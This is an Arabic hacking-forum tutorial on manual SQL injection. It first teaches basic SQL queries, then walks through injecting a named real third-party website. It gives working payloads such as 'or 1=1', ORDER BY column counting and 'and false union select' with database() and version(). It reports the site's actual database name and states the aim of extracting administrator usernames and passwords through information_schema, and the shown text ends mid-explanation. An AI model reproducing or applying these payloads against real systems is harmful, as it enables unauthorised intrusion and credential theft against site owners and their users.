حالة الموضوع:
مغلق
  1. صدام السقاف

    صدام السقاف ExpErt DeveloPer

    الأنتساب:
    ‏11 يونيو 2014
    المشاركات:
    252
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    18

    [​IMG]

    السلام عليكم ورحمة الله وبركاته
    %:"

    هنا شرح حصري على شبكة عراق تيم IQ-TeaM عن الحقن (SQL injection) .

    أولاً, يجب أن نسأل ما معنى الحقن (injection) ؟؟
    الحقن هنا مثل الحقن في الطبيعة

    [​IMG]

    حيث تقوم بحقن الدواء إلى داخل الجسم.
    نفس الشيء يحدث مع مواقع الانترنت. ببساطة, بعض المواقع تأخذ الأوامر من المستخدمين لكي تُظهر لهم الصفحات التي يريدونها.
    هنا يستطيع المهاجِمين (attackers) ان يستغلوا هذه الفرصة بأن يأمروا الموقع بتنفيذ أوامر هجوميّة.
    ببساطة شديدة, يستطيع الهاكِر (hacker) أن يأمر الموقع بأن يُظهر له قاعدة البيانات.
    والموقِع البريء يقوم بتنفيذ هذه الأوامر لأنه يظنها صفحات عادية للموقع.

    هذا أول مفهوم في الدرس (سوف ألون المفاهيم الجديدة باللون الأبيض الفاتح:
    هذا الموقع البريء الذي ينفذ جميع الأوامر التي يرسلها له المستخدم, نطلق عليه اسم "موقع مصاب" (Vulnerable site)


    [​IMG]

    الآن وقد عرفنا معنى كلمة حقن (injection) يجب أن نعرف معنى كلمة SQL.
    كلمة SQL اختصار لثلاثة كلمات.
    Structured Query Language
    Structured معناها "منظمة" أو "مرتّبة"
    Query معناها "استعلام" [​IMG]
    Language معناها "لغة"
    *
    هنا نلاحظ أشياء مهمة جداً من ترجمتنا لكلمة الSQL :
    1- Language.... إذاً هي لغة برمجة (تستخدم في برمجة قواعد البيانات).
    2- Query..... إذاً هي تستعمل Queries (جمع كلمة query أي استعلامات). معناها ان الشخص بعدما يقوم بإنشاء قاعدة بيانات بهذه اللغة, فإنه يستطيع ان يحصل على أي شيء من قاعدة البيانات عن طريق استعلامات. (مثال:إذا انا قمت بإنشاء قاعدة بيانات تحتوي على اسماء اعضاء شبكة عراق تيم IQ-TeaM و عدد مشاركات كل عضو. سوف انشئ قاعدة البيانات هذه بلغة SQL. بعدما انهيت قاعدة البيانات هذه, أستطيع ان استعلم عن "عدد مشاركات العضو صاحب الاسم DR.MOT". سوف ترد عليا قاعدة البيانات وتقول لي "عدد مشاركاته = 12" مثلاً.)
    **هذه الاستعلامات هي الأوامر التي نرسلها لقاعدة البيانات عندما نقوم بالحقن [​IMG]
    3-Structured..... إذاً هي منظمة ومرتبة في صورة جداول (Tables) . كل جدول عبارة عن مجموعة من الأعمدة (Columns) . هذه الأعمدة تحتوي على البيانات (Data) التي تحتوي عليها قاعدة البيانات (Database) .

    أعتقد اننا الآن فهمنا جميعاً معنى SQL.

    [​IMG]

    مثال بسيط لقاعدة بيانات تم انشاءها بلغة الSQL

    [​IMG]

    هذا عبارة عن جدول (Table) مأخوذ من قاعدة بيانات لأحد المحلات التجارية [​IMG].
    كما قلنا من قبل, فإن هذا الجدول يحتوي على مجموعة من الأعمدة (Columns) والصفوف (Rows) لكن ما يهمنا هنا هي الأعمدة Columns, وسوف تعرفون السبب في الشرح [​IMG]
    كل عمود من هذه الأعمدة يحتوي على بيانات (Data) .

    نجد أن العمود الأول category يحتوي على التصنيف . (أمثلة: مشروبات beverages وتوابل condiments)
    والعمود الثاني product name يحتوي على اسم المنتج (أمثلة: شاي Chai وصوص القيقب Sirop d'erable)
    **لاحظوا ان الشاي تصنيفه كمشروب, وصوص القيقب تصنيفها كتوابل .
    والعمود الثالث unit price يحتوي على سعر الوحدة الواحدة (أمثلة: $18.00 و $28.50)
    **لاحظوا ان الشاي تصنيفه كمشروب وسعره 18, وصوص القيقب تصنيفه كتوابل وسعره 28.5 [​IMG]
    أعتقد ان الموضوع أصبح سهلاً الآن ومفهوماً بوضوح.
    العمود الخامس category average يحتوي على متوسط سعر السلعة في الصنف (أمثلة: 37.98$ و 23.06$)
    **لاحظوا ان الشاي تصنيفه كمشروب (ومتوسط سعر المشروبات 37.98$) وسعره 18, وصوص القيقب تصنيفه كتوابل (ومتوسط سعر التوابل 23.06$) [​IMG]
    العمود الرابع less than or more than average يحتوي على أعلى أم أقل من متوسّط سعر الصنف (أمثلة: إما "أقل من المتوسط" below average أو "أعلى من المتوسط" above average)
    **لاحظوا ان الشاي تصنيفه كمشروب (ومتوسط سعر المشروبات 37.98$) وسعره 18 فهو بذلك أقل من المتوسط, بينما صوص القيقب تصنيفه كتوابل (ومتوسط سعر التوابل 23.06$) فهو بذلك أعلى من المتوسط [​IMG]

    [​IMG]ملحوظة هامة[​IMG]:
    هذا الجدول مأخوذ من قاعدة بيانات محل تجاري, وهذا الجدول يحتوي على الأشياء التي يمكن أن تشتريها البضاعة المعروضة في هذا المحل.
    توجد جداول اخرى في قاعدة بيانات هذا المحل, منها جدول يحتوي على أعمدة (id, username, password, email, secret question). نستطيع ان نخمّن ان هذا هو الجدول الذي يحتوي على بيانات الأعضاء.
    هناك جدول آخر يحتوي على معلومات المحلات الشريكة, ويحتوي على أعمدة (shop name, adress, phone, mail, website, clicks).
    هذه الجداول الثلاثة معاً تكوّن قاعدة بيانات الموقع الالكتروني الخاص بهذا المحل التجاري [​IMG]

    أعتقد ان الصورة اتضحت الآن, وأصبحت تفهم معنى (Tables) و (Columns) و (Data) وتستطيع ان ترى الترابط والتناغم بين الdata في الأعمدة المختلفة.


    [​IMG]


    ثالثاً, ما هي الاستعلامات (queries) المشهورة التي تستخدم في لغة الSQL؟؟

    من المؤكد أنه لكي تكون محترفاً في الحقن, يجب أن تكون محترفاً في لغة الSQL. حيث اننا عندما نجد موقع مصاب, فإننا نحقنه بإستعلامات خاصة بلغة الSQL لكي ترد قاعدة البيانات على هذه الاستعلامات وتظهر لنا البيانات التي نريدها.
    لذلك, سوف أستعرض عليكم الآن أهم الإستعلامات المستخدمة في الحقن.
    وسوف اريكم تطبيقها على قواعد بيانات.
    أي أنني لن أشرح لكم لغة الSQL كلها, ولكنني سوف أريكم أهم الاستعلامات التي لها علاقة بالحقن (يمكن اعطاءها كأوامر للموقع وسحب قاعدة البيانات بها [​IMG])

    أول استعلام
    SELECT * FROM tablename
    يقوم باختيار كل شيء من الجدول الذي تحدده.
    يمكن استبدال النجمة (*) باسم العمود أو العواميد التي تريدها بدلاً من سحب كل البيانات.
    مثال:
    نسحب جدول كامل اسمه customers
    SELECT * FROM customers
    [​IMG]

    نسحب عمودين فقط CustomerID وCustomerName من الجدول.
    SELECT CustomerID,CustomerName FROM customers
    [​IMG]


    ثاني استعلام
    ORDER BY columnname
    يقوم بترتيب العمود المختار ترتيباً تصاعدياً.
    يمكن ان نجعل الترتيب تنازلي وليس تصاعدي بإضافة كلمة DESC في النهاية.
    مثال:
    ORDER BY City
    [​IMG]

    ORDER BY City DESC
    [​IMG]


    ثالث استعلام
    عندما اريد ان أستخرج عمودين من قاعدة البيانات.
    إذا كان العمودين في نفس الجدول.
    SELECT column_name FROM table
    لكن إذا كانوا في جدولين مختلفين [​IMG]
    SELECT column_name(s) FROM table1
    UNION
    SELECT column_name(s) FROM table2

    مثال:
    SELECT City FROM Customers
    سحبنا عمود من جدول customers
    [​IMG]

    SELECT PostalCode FROM Suppliers
    سحبنا عمود من جدول suppliers
    [​IMG]

    SELECT City FROM Customers UNION SELECT PostalCode FROM Suppliers
    سحبنا العمودين من جدولين مختلفين [​IMG]
    [​IMG]


    رابع استعلام
    لمعرفة عدد الصفوف في عمود. (او في الجدول, فالاثنان متساويان).
    SELECT COUNT(columnname) FROM tablename


    مثال:
    SELECT COUNT(*) FROM Customers
    هنا نجد كلمة Expr1000 ... هي عبارة عن شيء في برمجة الSQL
    [​IMG]

    [​IMG]ملحوظة: عندما طلبنا من قاعدة البيانات ان تخبرنا عن عدد صفوف الجدول, قامت بإعطاءنا عدد الصفوف, لكنها لم تجد اسماً لهذا الرقم, فأخرجتها وكتبت فوقها Expr1000... كانت من المفروض ان تكتب مثلاً "count = 196".
    إذا أردنا ان نضع اسماً لهذا الطلب, فإننا نستخدم "As" ونضع بعدها الاسم.
    مثال:
    SELECT COUNT(*) As gazahackers FROM Customers
    [​IMG]


    خامس استعلام
    لتحديد النتائج اثناء سحب الجداول [​IMG]
    إذا أردنا أن نسحب اسماء الأشخاص من جدول معين ولكننا لا نريد الأشخاص كلهم, بل نريد اسماء الأشخاص من دولة Palestine فقط. نستعمل:
    WHERE columnname = Palestine

    مثال:
    SELECT * FROM Customers
    WHERE Country=Mexico
    [​IMG]

    يمكن أن نستخدم WHERE مع علامات "أكبر من" أو "أصغر من" (< أو >).
    مثال:
    SELECT * FROM Customers
    WHERE CustomerID>87
    [​IMG]


    سادس استعلام
    لتحديد النتائج اثناء سحب الجداول [​IMG]
    إذا أردنا أن نسحب اسماء الأشخاص من جدول معين ولكننا لا نريد الأشخاص كلهم, بل نريد اسماء الأشخاص الذين يعيشون في دولة Palestine وفي نفس الوقت رقم الID الخاص بهم أكثر من 50. نستعمل:
    WHERE Country=Palestine
    AND CustomerID>50


    مثال:
    SELECT * FROM Customers
    WHERE CustomerID>80
    [​IMG]
    SELECT * FROM Customers
    WHERE CustomerID>80
    AND Country=France

    [​IMG]
    ببساطة: [​IMG] نريد سحب بيانات شخص رقمه فوق 80 وفي نفس الوقت يعيش في فرنسا.
    إذا تحقق الشرطين, يتم سحب بياناته.
    إذا تحقق شرط واحد فقط, لا يتم سحب بياناته.


    سابع استعلام
    لتحديد النتائج اثناء سحب الجداول [​IMG]
    إذا أردنا أن نسحب اسماء الأشخاص من جدول معين ولكننا لا نريد الأشخاص كلهم, بل نريد اسماء الأشخاص الذين يعيشون في دولة Palestine أو يعيشون في دولة Egypt. نستعمل:
    WHERE Country=Palestine OR Country=Egypt

    مثال:
    SELECT * FROM Customers
    WHERE Country=Sweden

    [​IMG]
    SELECT * FROM Customers
    WHERE Country=Sweden
    OR Country=Spain

    [​IMG]
    ببساطة: [​IMG] نريد سحب بيانات شخص يعيش في السويد أو يعيش في اسبانيا.
    إذا تحقق أحد الشرطين يتم سحب بياناته.


    [​IMG]

    استعلامات لا يتم استعمالها في انشاء قواعد البيانات لكن يتم استعمالها بكثرة في الحقن

    ثامن استعلام
    لمعرفة اسم قاعدة البيانات التي يتم استخدامها الآن, نستعمل:
    ()Database

    في نسخة ميكروسوفت المسماة ب(Microsoft SQL (MSSQL نستعمل:
    database@@

    تاسع استعلام
    لمعرفة اسم مستخدِم قاعدة البيانات التي يتم استخدامها الآن الخاصة بالموقع, نستعمل:
    ()User

    عاشر استعلام
    بالتأكيد نحن نعرف ان SQL عبارة عن لغة.
    توجد أنظمة لإنشاء قواعد البيانات. كل هذه الأنظمة تعتمد على لغة الSQL, لكنها تختلف في اشياء بسيطة وبعض الأوامر.
    منها MySQL, Oracle, MsSql, Firebird.
    يمكن أن نقول ان أغلب المواقع تستعمل MySql.
    لمعرفة نسخة نظام الMySQL المستخدم في الموقع, نستعمل:
    ()Version

    ثاني الأنظمة انتشاراً هو MsSQL, يمكن أيضاً معرفة نسخة النظام المستخدم في الموقع المصاب. نستعمل:
    Version@@


    هذه الاستعلامات\الأوامر هي الأكثر استخداماً في الحقن, لذلك سأكتفي بهذا القدر من المعلومات عن الSQL.
    ننتقل إلى معلومات عن الحقن الفعلي [​IMG]


    [​IMG]

    الآن سوف نتحدث عن المواقع المصابة

    كيف تحدث اصابة المواقع؟ [​IMG]
    سوف أشرح الموضوع ببساطة شديدة جداً ان شاء الله...

    المواقع المصابة عبارة عن مواقع بها مشاكل في التصميم الخاص بها.
    وبالتصميم لا أقصد الجرافيك والصور وغير ذلك, أقصد الكود code وخصوصاً الphp (لغة برمجة).
    مثال للكود المسئول عن جعل المواقع مصابة بثغرة حقن SQL يكون كالآتي:
    'SELECT * FROM Users WHERE UserId = '105
    بالتأكيد تعرفون هذا الكود الآن وتعرفون وظيفته [​IMG]
    إنه استعلام لقواعد البيانات المبرمجة بالSQL.
    فالموقع مثلاً مبرمج بالphp والHTML, لكنه يحتوي على قواعد بيانات ( في الأغلب قاعدتين أو 3 قواعد) مبرمجة بأحد الأنظمة التي تستخدم لغة الSQL (مثل نظام MySQL مثلاً).
    نجد أحد السطور في أحد ملفات الphp تطلب من قاعدة البيانات ان تسحب لها معلومة معينة لكي تقوم بإظهارها في جزء من الصفحة التي تقوم انت بفتحها على الانترنت.

    نفهم من هذا أن الكود الذي ذكرناه ليس كود خبيث أو فيروس أو غيره. هو استعلام سليم تماماً.
    إذاً... ما هي المشكلة الآن؟؟؟

    لكي نعرف المشكلة... يجب أن نعرف كيف يعمل الموقع تحديداً.
    تعالوا نشوف كيف يعمل الموقع صاحب الرابط:
    site(dot)com/index.php?userId=1
    / = الملفات التي يحتويها السيرفر المرفوع عليه الموقع
    index.php = فتح ملف اسمه index.php موجود في السيرفر (root directory /)
    **في هذه الحالة, نفترض ان هذا الملف هو الذي يحتوي على الكود السابق ذكره
    =userId? = استبدال الuserID في ملف الindex.php بالقيمة التي تدخلها بعد علامة "="
    1 = هذه هي القيمة التي ستدخل في الاستعلام الموجود في ملف الindex.php .

    الآن عرفنا كيف يعمل الموقع صاحب الرابط
    site(dot)com/index.php?userid=1
    فإنه يقوم باستخدام الاستعلام الموجود في ملف index.php وإضافة رقم الuserID له بحيث يكون:
    كود:
    SELECT * FROM Users WHERE UserId = '1'
    ثم تقوم قاعدة البيانات بإظهار الصفّ (وليس العمود) الموجود في جدول Users, بشرط أن يحتوي على UserId يساوي 1 [​IMG]



    إذا لم تفهم هذا الجزء, فلا تكمل قراءة الباقي, أرجو أن ترجع فوق حيث شرحنا استعلامات لغة الSQL, وكيف اننا نستعمل SELECT FROM.. ثم نستعمل WHERE لتحديد نتائج البحث [​IMG]

    ما رأيكم إذا قمنا بالتعديل على الرابط واستبدلنا رقم ال1 برقم 500 مثلاً؟؟
    يكون الرابط هكذا:
    site(dot)com/index.php?userid=500
    يا ترى ماذا يحدث في السيرفر المرفوع عليه الموقع؟؟؟
    نفس الطريقة...نجد أنه يقوم باستخدام الاستعلام الموجود في ملف index.php, ولكنه يقوم بتغيير الuserID إلى 500.

    فإذا كان هناك user بالفعل اسمه 500, سيتم اظهار صفحة في الموقع.
    أما إذا لم يكن هناك userID في قاعدة البيانات يحتوي على الرقم 500, فستظهر لنا رسالة خطأ أو ما شابه.

    الآن فهمنا كيف يعمل الموقع... فلنشرح المشكلة في الكود السابق ذكره [​IMG]

    ما رأيكم إذا أضفنا للuserID علامة تنصيص ' بحيث يصبح الكود:
    كود:
    SELECT * FROM Users WHERE UserId = '1''
    ويكون الرابط:


    'site(dot)com/index.php?userid=1

    هنا حدثت مشكلة [​IMG]
    هنا سوف تظهر لنا رسالة خطأ error تقول انه توجد هناك علامة تنصيص غير مغلقة (Unclosed quotation)
    للتوضيح, انظر للألوان هنا:
    ''SELECT * FROM Users WHERE UserId = '1
    علامة التنصيص الحمراء هي التي قمنا نحن بإدخالها وسط الاستعلام لكنها ليست هي المقصودة في رسالة الخطأ (Unclosed quotation) .
    ذلك لأنها قامت بإغلاق علامة التنصيص الموجودة قبل رقم ال1, فبذلك أصبحت العلامة التي بعدها وحيدة [​IMG]

    كلام رائع.
    لكن ماذا أفادني وضع علامة التنصيص هنا؟؟؟

    الإجابة:
    وضع علامة التنصيص في حد ذاته لا يفيدك في سحب قاعدة البيانات, لكنه اختبار تستخدمه لتكتشف إذا كان ملف الphp الخاص بالموقع لا توجد به فلاتر () تمنع الحقن أو تمنعني من وضع الكود او الاستعلام الذي اريده كأنه userID طبيعي [​IMG]
    فهناك بعض المواقع التي لا نستطيع حقنها... كيف ذلك؟؟
    ذلك لأن ملف الphp الخاص بها يحدد استعلامات معينة لقاعدة البيانات, ولا يسمح لك ان تضع ما تريده, فإنه لا يسمح إلا بالأرقام محددة مثلاً (لن أشرح كيفية منع الحقن)

    الآن ننتقل للجزء الخطير [​IMG]

    هل تتذكرون OR التي كنا نستعملها في الاستعلامات (queries) الخاصة بقواعد البيانات؟؟
    هل تتذكرون ماذا كانت تفعل تحديداً؟؟
    كانت تقوم بسحب البيانات المتوفر فيها أحد الشرطين.. (راجعها في الأعلى قبل ان تقرأ القادم).


    هناك شيء إضافي يجب ان اشرحه لكم قبل ان نستمر...
    كيف تعمل WHERE؟
    هي تقوم بمعالجة كل شيء تعطيه لها.. لكنها لا تعمل بطريقة متقدمة, بالعكس, فهي تعمل بطريقة بدائية جداً. هي تعالج كل شرط بمفرده. وتعطيه قيمة True أو False (أي صحيح أو خاطئ).
    ثم بعد ذلك تستطيع تحديد النتائج التي ستعطيها لك.
    بالتأكيد ستقوم بإعطاءك النتايج التي تحصل على True فقط. [​IMG]
    مثال:
    Select * from Customers WHERE Country=Palestine OR Country=Egypt
    هذا مثال لإستعلام ذاهب لقاعدة البيانات.
    تقوم قاعدة البيانات بإرسال جميع البيانات الموجودة في جدول Customers. (استجابةً للاستعلام SELECT * )
    ثم بعد ذلك تبدأ WHERE بالفلترة. فتقوم بمعالجة كل وحدة بيانات بمفردها. فإذا كانت وحدة البيانات بها دولة فلسطين... تأخد قيمة True, فيتم تمريرها لتظهر لك.
    إذا لم تكن بها دولة فلسطين, تأخد قيمة False. وتفحصها WHERE مرة اخرى لترى إذا كانت بها دولة مصر, إذا كانت موجودة, تأخذ قيمة True.
    أما إذا كانت ليس بها دولة فلسطين ولا مصر, فلا يتم تمريرها لك, لأنها تأخذ قيمة False.
    مفهومة؟؟؟
    أتمنى أن تكون مفهومة, لأن هذه المعلومة مطلوبة في الجزء القادم



    فما رأيكم لو قمت بالتعديل في الكود وجعلته بهذا الشكل؟؟

    'SELECT * FROM Users WHERE UserId = '1' or 1='1

    هنا نحصل على شيء جميل جداً.
    أولاً, قاعدة البيانات تقوم بتمرير كل البيانات الموجودة في جدول Users.
    ثم تبدأ WHERE بالفلترة كما قلنا.
    تأخذ WHERE أول شرط... ان الUserID يساوي 1... تجده True في قيمة واحدة فقط من الجدول بأكمله. إذاً, فقاعدة البيانات هنا تقرر انها سوف ترسل لك قيمة واحدة فقط.
    لكن عندما تبدأ WHERE بمعالجة ثاني شرط... تجد أنه True مع جميع القيم في الجدول (لأن واحد دائماً تساوي واحد) [​IMG]
    فماذا يحدث في هذه الحالة؟؟؟
    تقوم WHERE بتمرير قاعدة البيانات بأكملها لتظهر لك [​IMG]

    فلنراجع الكود الأخير لنرى كيف حصلنا عليه وكيف نستطيع تكراره وكيف نضيف الاستعلامات التي نريدها لكي نحصل على معلومات من جداول اخرى.

    هاهو الكود
    'SELECT * FROM Users WHERE UserId = '1' or 1='1
    بالتأكيد نحصل عليه بسهولة عن طريق وضع الآتي في نهاية رابط الموقع المصاب
    site(dot)com/index.php?userid=1' or 1='1

    الخطوة الأولى... التركيز دائماً على عدم ترك أي علامة تنصيص مفردة, يجب اغلاقها بعلامة اخرى دائماً. فلذلك, احرص على ان يكون عدد علامات التنصيص التي تضعها يكون عدد زوجي (كل علامتين تنصيص كأنهم بيقفلوا بعض [​IMG] )
    الخطوة الثانية... وضع علامة تنصيص مباشرةً خلف الuserID. لكي نعزله عن باقي السطر.
    عندما نفعل ذلك, فإننا نغلق الشرط الأول الخاص بWHERE ونستطيع بعدها ان نكمل السطر لنكتب شرط آخر لها [​IMG]
    'WHERE UserId = '1 <<---------------- رائع... وتستطيع اضافة الشرط الآخر لWHERE
    'WHERE UserId = '1 or 1=1 <<----------------- خطأ وسوف يعطيك رسالة خطأ لأنه لا يوجد userID اسمه 1or1=1


    ****************************[COLOR=#XXXXX]****[/COLOR]******************
    ***************************************
    ****************************
    *****************
    ********
    *



    بوصولك لهذه النقطة... وفي حالة فهمك التام لما سبق .. فإنك الآن تعرف الأساسيات المطلوبة لاختراق المواقع المصابة ان شاء الله.
    الآن أستطيع ان اؤكد لك انه تم تأسيسك بطريقة سليمة في فهم أساسيّات الحقن.
    قبل ان اشرح التطبيق على موقع حقيقي مصاب, اريد ان اقول بعض الأشياء:

    1- ليست كل المواقع المصابة يكون الحقن فيها داخل الكود: 'SELECT * FROM Users WHERE UserId = '1
    2- الكشف عن الاصابة ليس باستخدام علامة التنصيص فقط, بل يمكن استعمال بعض الرموز التي لا تكون مسموح بها في قواعد البيانات, فبالتالي عندما يتم حقنها في الاستعلام, تقوم قاعدة البيانات بإرسال رسالة خطأ.
    أمثلة: !@#$%^&*_
    3- أغلب شروحات الحقن اليدوي على المنتديات المختلفة تبدأ بالجزء الذي سوف ابدأ به في التطبيق العملي ولا يشرحون ما شرحته فوق, وانا أرى ان ذاك الجزء في غاية الأهمية ويجب اتقانه قبل بدأ الحقن.
    (سوف أشرح التطبيق العملي على موقع به MySQL) .
    4- كما قلنا من قبل ان هناك نظم اخرى غير MySQL الشهير تستخدم لغة SQL لترتيب قواعد البيانات. لن أتطرق لهم في هذا الموضوع, [​IMG]

    الآن سوف اطبق الحقن اليدوي على موقع مصاب
    سوف ابدأ بهذا الموقع المصاب:

    [NOTE]http://www(dot)clanwilliam(dot)info/index.php?id=1[/NOTE]

    بسم الله الرحمن الرحيم
    اولاً يا شباب, نفحصه لنتأكد انه قابل للحقن ولا لأ

    أول محاولة باستعمال علامة التنصيص الشهيرة.
    'index.php?id=1
    [​IMG]
    أرجو ان تجربوا العلامات الاخرى كما قلت لكم... ستجدون ان بعضها يعمل ويعطي errors وبعدها مفلتر فلا يتم التقاطه
    @index.php?id=1
    [​IMG]
    ^index.php?id=1
    [​IMG]

    ممتاز, استطعنا التأكد ان الموقع مصاب.
    الخطوة القادمة هي ان نعرف كيف نحقن.
    أسهل شيء يمكن ان نفعله هو ان نضع or 1=1 في نهاية الرابط بحيث يصبح لدينا شرط TRUE دائم وبالتالي نقوم بسحب كل البيانات من الجدول المكتوب في الكود في الphp.
    تعالو نجربها:
    index.php?id=1 or 1=1
    [​IMG]
    نجد فعلاً كل البيانات ظهرت (لم نجد اي باسوردات او ايميلات, إذاً نفهم ان الجدول المسحوب منه البيانات هنا ليس جدول بيانات الأعضاء, بل هو في الأغلب جدول البضائع المعروضة أو الخدمات [​IMG])
    طب بدلاً من وضع شرط 1=1 الذي ستقوم WHERE بمعالجته وتحصل على TRUE.. ما رأيكم ان نضع كلمة TRUE؟؟ [​IMG]
    نجربها
    index.php?id=1 or true
    [​IMG]
    قام الموقع بإظهار البيانات.
    ممتاز..
    يمكن ان تبتكر هنا وتضع أي شيء من هذه:
    or 1=1
    or true
    or 1
    'or 'x'='x
    'or 'gaza'='gaza
    أريدك أيضاً ان تجرب وضع شروط تعطي FALSE عند معالجتها, لكي ترى استجابة الموقع.
    أمثلة:
    or 0
    or 1=2
    'or 'gaza'='egypt
    'or 'x'='y


    الآن لقد علمنا ان الاستعلام الذي قمنا بالتعديل عليه يعمل. وان قاعدة البيانات تقوم بالرد على الاستعلامات المعدلة التي نطلبها... يمكننا الآن أن نستمر في الحقن ونكتب ما نريد.

    لكن أرجو الانتباه لشيء مهم جداً...
    هنا كتبنا or 1=1 بدلاً من or 1='1 ' ووجدناها تعمل...
    نفهم من هذا أنه لا توجد علامات تنصيص في الكود الأصلي الموجود في الphp. هذا يعني ان مهمتنا سوف تكون أسهل بكثير من الوضع السابق (الذي شرحته فوق عندما قلت لكم اننا يجب ان نغلق الشرط الأول الخاص بWHERE ثم نكتب نحن الشرط الثاني [​IMG] )
    إذا لم تفهمها, عد للشرح فوق وسوف تلاحظ الفرق.

    نستكمل الحقن..

    الآن اريد ان أعلم عدد الأعمدة الموجودة في الجدول الذي يتم سحب منه البيانات واظهارها على هذه الصفحة.
    هناك طريقة سهلة جداً...
    هل تتذكرون استعلام ORDER BY ؟
    إلى جانب استعماله الذي ذكرناه سابقاً (مثل ORDER BY city) يمكن أن أكتب رقم العمود الذي اريد ترتيبه تصاعدياً (مثل ORDER BY 5). هذا مثلاً سوف يقوم بترتيب العمود الخامس ترتيباً تصاعدياً.

    حسناً, كيف استطيع ان استخدم هذه الطريقة في معرفة عدد الأعمدة؟؟
    بسيطة... نطلب منه ان يقوم بترتيب عمود غير موجود.. سنجد رسالة خطأ.
    نكرر الموضوع حتى نصل لأكبر عدد يسمح لنا بترتيبه. فالعدد الذي بعده يصدر رسالة خطأ (أي انه عمود غير موجود).

    تعالو نجرب:

    index.php?id=1 order by 1
    [​IMG]
    يظهر الموقع بدون رسائل خطأ.

    نزود عمود
    index.php?id=1 order by 2
    يظهر الموقع بدون رسائل خطأ أيضاً.

    نزود عمودين
    index.php?id=1 order by 4
    يظهر الموقع بدون رسائل خطأ أيضاً.

    نزود عمودين كمان
    index.php?id=1 order by 6
    يظهر الموقع بدون رسائل خطأ أيضاً.

    نزود عمودين كمان
    index.php?id=1 order by 8
    هنا تظهر رسالة خطأ.
    [​IMG]
    رسالة الخطأ تقول انه لا يوجد عمود رقم 8 [​IMG]

    إذاً فلنقلل عمود
    index.php?id=1 order by 7
    يظهر الموقع بدون رسائل خطأ.


    إذاً نفهم ان عدد الأعمدة 7 [​IMG]



    الآن,,, نريد ان نختار اظهار جميع الأعمدة (السبعة) باستخدام SELECT لكي نحصل على قاعدة البيانات.
    يجب ان نستعمل UNION هنا لأننا ربما نحتاج للحصول على بيانات من أكثر من قاعدة بيانات واحدة.

    نجرب
    index.php?id=1 union select 1,2,3,4,5,6,7
    [​IMG]
    نجد أن الموقع يظهر بصورة طبيعية كأننا لم نكتب شيء.

    لماذا يحدث هذا؟؟
    لأنه ربما كان الكود في ملف الphp على هذه الصورة مثلاً:
    SELECT * from Customers where userId=1 union select 1,2,3,4,5,6,7


    فإن الصفحة تقوم بإظهار الاستعلام الأول .. ثم تظهر الاستعلام الثاني تحته (فلا يظهر لنا).



    الحل:
    سوف نضطر إلى إلغاء الاستعلام الأول. [​IMG]

    يبدو ان هذا مستحيل... فهذا الاستعلام ليس موجوداً في رابط الموقع, بل إنه في ملف الphp على سيرفر الموقع, ولا يستطيع الوصول إليه إلا صاحب الموقع.
    لكن.............. لكل مشكلة حلّ ان شاء الله [​IMG]
    ... نستخدم And ونضع بعدها False.
    فيكون الاستعلام الأول كالآتي:
    SELECT * from Customers where userId=1 AND false

    هنا عندما تقوم WHERE بالفلترة, سوف تجد ان جميع القيم التي حصلت عليها من جدول Customers تعطي قيمة خطأ False فبالتالي لن تظهرها لنا...
    ثم بعد ذلك نضيف الاستعلام الجديد الخاص بنا ليظهر منوّراً على الشاشة [​IMG]

    نجرّب:
    index.php?id=1 and false union select 1,2,3,4,5,6,7
    [​IMG]

    ظهر لنا رقمين... 2 و 4..

    فلنحاول تفسير هذا.
    انا قمت باستخدام أمر SELECT 1,2,3,4,5,6,7 ولم أستخدم أمر SELECT * from 1,2,3,4,5,6,7 فبالتالي, لن تظهر لي البيانات كلها على الشاشة... يظهر فقط رقم العمود [​IMG]
    في هذه الحالة ظهر لي عمودين فقط على الرغم من اختياري ل7 عواميد... ما معنى هذا؟؟؟
    معنى هذا أن هذان العمودان هما اللذان يظهران على الشاشة, وأنني أستطيع استغلال ذلك عن طريق حقن أحدهما بالاستعلامات التي اريدها وسوف تظهر لي نتائج على الشاشة. بينما باقي الأعمدة مخفية أو غير مسموح لها الظهور على الشاشة.
    وهذان هما ما يطلق عليهما عمودان مصابان (Vulnerable columns)

    فلنجرب بعض الاستعلامات التي درسناها لنرى إذا كانت ستعمل:

    فلنحاول معرفة اسم قاعدة البيانات باستعلام ()database ونضعه في مكان اي عمود مصاب
    index.php?id=1 and false union select 1,database(),3,4,5,6,7
    [​IMG]

    ظهر لنا اسم قاعدة البيانات CLANWI_DB1

    فلنحاول معرفة نسخة الMySQL المثبت على السيرفر باستعلام ()version
    index.php?id=1 and false union select 1,version(),3,4,5,6,7
    [​IMG]

    ظهر لنا نسخة الMySQL أنها 5.5.37


    فلنبدأ بسحب البيانات..... أي اليوزرات والباسوردات لكي نحصل على اسم دخول وباسورد الأدمن.

    هنا سوف أشرح لكم شيئاً جديداً بما أننا تطرّقنا له.

    هل تذكرون لماذا نستخدم UNION؟؟
    أجل, نستخدمها لأننا في الأغلب نقوم بسحب بيانات من أعمدة موجودة في جدولين مختلفين.
    أثناء دراستنا للغة الSQL, سنجد أن أغلب الأنظمة التي تستخدمها (خصوصاً MySQL) تحتوي على قاعدة بيانات موجودة منذ تسطيبك للنظام على السيرفر. قاعدة البيانات هذه اسمها information_schema. أي "تنسيق المعلومات".
    إذا نظرنا لها عن قرب, سنجد شكلها كالآتي:
    [​IMG]
    اضغط هنا لرؤية الصورة بحجمها الكبير.
    باختصار, هي تحتوي على نبذة عن كل شيء موجود في قواعد البيانات الاخرى... مثل اسماء الجداول وعدد البيانات الموجودة فيها واسماء الأعمدة وهكذا...
    لكنها بالتأكيد لا تحتوي على البيانات نفسها.
    لكي اوفر عليكم الوقت (لأنني قلت لكم أني هنا أشرح الحقن, ولست أشرح لغة الSQL), كل ما يخصنا في قاعدة البيانات هذه هي ال3 جداول التالية:
    [​IMG] [​IMG][​IMG]
    حيث اننا نستطيع استخدام:
    1- جدول Schemata لمعرفة اسامي قواعد البيانات الاخرى الموجودة (مخزنة في عمود اسمه Schema_name)
    2- جدول Tables لمعرفة اسامي الجداول الموجودة في قاعدة بيانات معينة (تكون مخزنة في Table_name), وفي نفس الوقت نستخدم Table_schema (كشرط من شروط WHERE ونجعلها تساوي اسم قاعدة البيانات التي نريد ان نعرف اسماء الجداول بها [​IMG] )
    3- جدول Columns لمعرفة اسماء الأعمدة في جدول معين أو قاعدة بيانات معينة (تكون مخزنة في Column_name), وفي نفس الوقت استعمل table_schema لتحديد قاعدة البيانات التي أريد ان اعرف اسماء الأعمدة بها. أو استعمل table_name لتحديد اسم الجدول الذي اريد ان اعرف اسماء الأعمدة بداخله.



